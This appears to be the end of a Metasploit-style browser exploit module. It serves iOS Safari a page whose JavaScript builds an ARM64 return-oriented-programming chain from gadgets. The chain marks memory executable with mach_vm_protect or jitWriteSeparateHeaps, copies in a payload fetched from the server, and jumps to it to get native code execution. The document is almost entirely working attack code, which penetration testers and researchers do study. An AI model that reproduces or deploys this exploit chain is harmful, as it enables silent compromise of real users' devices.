    var add_call_via_x8 = function(func, x0, x1, x2, x3, x4, jump_to) {
        //alert(`add_call_via_x8: ${func}(${x0}, ${x1}, ${x2}, ${x3}, ${x4}, ${jump_to})`);
        //x4 = x4 || Int64.One
        // in stackloader:
        arr[pos++] = 0xdead0010;                // unused
        arr[pos++] = 0xdead0011;                // unused
        arr[pos++] = 0xdead0012;                // unused
        arr[pos++] = 0xdead0013;                // unused
        arr[pos++] = 0xdead1101;                // x28 (unused)
        arr[pos++] = 0xdead1102;                // x28 (unused)
        arr[pos++] = 0xdead0014;                // x27 == x6 (unused)
        arr[pos++] = 0xdead0015;                // x27 == x6 (unused)
        arr[pos++] = 0xdead0016;                // x26 (unused)
        arr[pos++] = 0xdead0017;                // x26 (unused)
        arr[pos++] = x3.lo();                   // x25 == x3 (arg4)
        arr[pos++] = x3.hi();                   // x25 == x3 (arg4)
        arr[pos++] = x0.lo();                   // x24 == x0 (arg1)
        arr[pos++] = x0.hi();                   // x24 == x0 (arg1)
        arr[pos++] = x2.lo();                   // x23 == x2 (arg3)
        arr[pos++] = x2.hi();                   // x23 == x2 (arg3)
        arr[pos++] = x3.lo();                   // x22 == x3 (arg4)
        arr[pos++] = x3.hi();                   // x22 == x3 (arg4)
        arr[pos++] = func.lo();                 // x21 (target for dispatch)
        arr[pos++] = func.hi();                 // x21 (target for dispatch)
        arr[pos++] = 0xdead0018;                // x20 (unused)
        arr[pos++] = 0xdead0019;                // x20 (unused)
        var tmppos = pos;
        arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])
        arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])
        arr[pos++] = 0xdead001c;                // x29 (unused)
        arr[pos++] = 0xdead001d;                // x29 (unused)
        arr[pos++] = ldrx8.lo();                // x30 (next gadget)
        arr[pos++] = ldrx8.hi();                // x30 (next gadget)

        // in ldrx8
        if (x4) {
            arr[pos++] = stackloader.lo();
            arr[pos++] = stackloader.hi();
        } else {
            arr[pos++] = dispatch.lo();             // x8 (target for regloader)
            arr[pos++] = dispatch.hi();             // x8 (target for regloader)
        }
        arr[pos++] = 0xdead1401;                // (unused)
        arr[pos++] = 0xdead1402;                // (unused)
        arr[pos++] = 0xdead1301;                // x20 (unused)
        arr[pos++] = 0xdead1302;                // x20 (unused)
        arr[pos++] = x1.lo();                   // x19 == x1 (arg2)
        arr[pos++] = x1.hi();                   // x19 == x1 (arg2)
        arr[pos++] = 0xdead1201;                // x29 (unused)
        arr[pos++] = 0xdead1202;                // x29 (unused)
        arr[pos++] = regloader.lo();            // x30 (next gadget)
        arr[pos++] = regloader.hi();            // x30 (next gadget)

        // in regloader
        // NOTE: REGLOADER DOES NOT ADJUST SP!
        // sometimes i didn't get expected value in x4
        // and i have no earthly idea why
        // usleep likely did the trick, but I would still keep the code
        // with movx4
        //arr[pos++] = x4.lo()                    // x4 (should be -- but see lines above)
        //arr[pos++] = x4.hi()                    // x4 (should be -- but see lines above)

        if (x4) {
            // in stackloader:
            arr[pos++] = 0xdaad0010;                // unused
            arr[pos++] = 0xdaad0011;                // unused
            arr[pos++] = 0xdaad0012;                // unused
            arr[pos++] = 0xdaad0013;                // unused
            arr[pos++] = 0xdaad1101;                // x28 (unused)
            arr[pos++] = 0xdaad1102;                // x28 (unused)
            arr[pos++] = 0xdaad0014;                // x27 == x6 (unused)
            arr[pos++] = 0xdaad0015;                // x27 == x6 (unused)
            arr[pos++] = 0xdaad0016;                // x26 (unused)
            arr[pos++] = 0xdaad0017;                // x26 (unused)
            arr[pos++] = 0xdaad0018;                // x25 (unused)
            arr[pos++] = 0xdaad0019;                // x25 (unused)
            arr[pos++] = 0xdaad00f0;                // x24 (unused)
            arr[pos++] = 0xdaad00f1;                // x24 (unused)
            arr[pos++] = 0xdaad00f2;                // x23 (unused)
            arr[pos++] = 0xdaad00f3;                // x23 (unused)
            arr[pos++] = 0xdaad00f4;                // x22 (unused)
            arr[pos++] = 0xdaad00f5;                // x22 (unused)
            arr[pos++] = func.lo();                 // x21 (target for dispatch)
            arr[pos++] = func.hi();                 // x21 (target for dispatch)
            arr[pos++] = 0xdaad0018;                // x20 (unused)
            arr[pos++] = 0xdaad0019;                // x20 (unused)
            tmppos = pos;
            arr[pos++] = Add(stack, tmppos*4).lo(); // x19 (scratch address for str x8, [x19])
            arr[pos++] = Add(stack, tmppos*4).hi(); // x19 (scratch address for str x8, [x19])
            arr[pos++] = 0xdaad001c;                // x29 (unused)
            arr[pos++] = 0xdaad001d;                // x29 (unused)
            arr[pos++] = ldrx8.lo();                // x30 (next gadget)
            arr[pos++] = ldrx8.hi();                // x30 (next gadget)

            // in ldrx8
            arr[pos++] = dispatch.lo();             // x8 (target for movx4)
            arr[pos++] = dispatch.hi();             // x8 (target for movx4)
            arr[pos++] = 0xdaad1401;                // (unused)
            arr[pos++] = 0xdaad1402;                // (unused)
            arr[pos++] = x4.lo();                   // x20 == x4 (arg5)
            arr[pos++] = x4.hi();                   // x20 == x4 (arg5)
            arr[pos++] = 0xdaad1301;                // x19 (unused)
            arr[pos++] = 0xdaad1302;                // x19 (unused)
            arr[pos++] = 0xdaad1201;                // x29 (unused)
            arr[pos++] = 0xdaad1202;                // x29 (unused)
            arr[pos++] = movx4.lo();                // x30 (next gadget)
            arr[pos++] = movx4.hi();                // x30 (next gadget)
        }

        // after dispatch:

        // keep only one: these or 0xdeaded01
        arr[pos++] = 0xdead0022;                // unused
        arr[pos++] = 0xdead0023;                // unused

        arr[pos++] = 0xdead0022;                // unused
        arr[pos++] = 0xdead0023;                // unused
        arr[pos++] = 0xdead0024;                // x22 (unused)
        arr[pos++] = 0xdead0025;                // x22 (unused)
        arr[pos++] = 0xdead0026;                // x21 (unused)
        arr[pos++] = 0xdead0027;                // x21 (unused)
        arr[pos++] = 0xdead0028;                // x20 (unused)
        arr[pos++] = 0xdead0029;                // x20 (unused)
        arr[pos++] = 0xdead002a;                // x19 (unused)
        arr[pos++] = 0xdead002b;                // x19 (unused)
        arr[pos++] = 0xdead002c;                // x29 (unused)
        arr[pos++] = 0xdead002d;                // x29 (unused)
        arr[pos++] = jump_to.lo();              // x30 (gadget)
        arr[pos++] = jump_to.hi();              // x30 (gadget)
    }

    var add_call = function(func, x0, x1, x2, x3, x4, jump_to) {
        x0 = x0 || Int64.Zero
        x1 = x1 || Int64.Zero
        x2 = x2 || Int64.Zero
        x3 = x3 || Int64.Zero
        jump_to = jump_to || stackloader

        return (ldrx8 ? add_call_via_x8 : add_call_llvm)(
            func, x0, x1, x2, x3, x4, jump_to
        )
    }

    #{if ios_11
        '
    if (jitWriteSeparateHeaps.lo() || jitWriteSeparateHeaps.hi()) {
        add_call(jitWriteSeparateHeaps
            , Sub(codeAddr, memPoolStart)     // off
            , paddr                           // src
            , shsz                            // size
          );
    } else {
        fail("jitWrite");
    }
    '
      else
        '
    add_call(mach_vm_protect,
        mach_task_self_,    // task
        codeAddr,           // addr
        shsz,               // size
        new Int64(0),       // set maximum
        new Int64(7)        // prot (RWX)
    );

    add_call(memmove,
        codeAddr,           // dst
        paddr,              // src
        shsz                // size
    );
    '
      end}

    add_call(codeAddr,
        dlopen,
        dlsym,
        jitWriteSeparateHeaps,
        memPoolStart,
        memPoolEnd,
    );

    for(var i = 0; i < 0x20; ++i)
    {
        arr[pos++] = 0xde00c0de + (i<<16);
    }

    var sp = Add(stack, (arrsz - off) * 4);
    memory.writeInt64(Add(el_addr, 0x60), Add(sp, 0x60));      // x29
    memory.writeInt64(Add(el_addr, 0x68), sp);      // x2 (copied into sp)

    // trigger
    //print("u rdy?")
    wrapper.addEventListener("click", function(){});

}

#{get_mem_rw}

function go() {
    try {
        var req = new XMLHttpRequest;
        req.open("GET", "exploit");
        req.responseType = "arraybuffer";
        req.addEventListener("load", function() {
            try {
                if (req.responseType != "arraybuffer") throw "y u no blob";
                payload.set(new Uint8Array(req.response), 0x0);
                pwn();
            } catch (e) {
                fail("Error: " + e + (e != null ? " " + e.stack : ""))
            }
        });
        req.addEventListener("error", function(ev) {
            fail(ev)
        });
        req.send()
    } catch (e) {
        fail("Error: " + e + (e != null ? " " + e.stack : ""))
    }
};

go();

</script>
</body>
</html>
    ^

    unless datastore['DEBUG_EXPLOIT']
      html.gsub!(%r{//.*$}, '') # strip comments
      html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
    end

    send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
  end
  # rubocop:enable Metrics/MethodLength
end
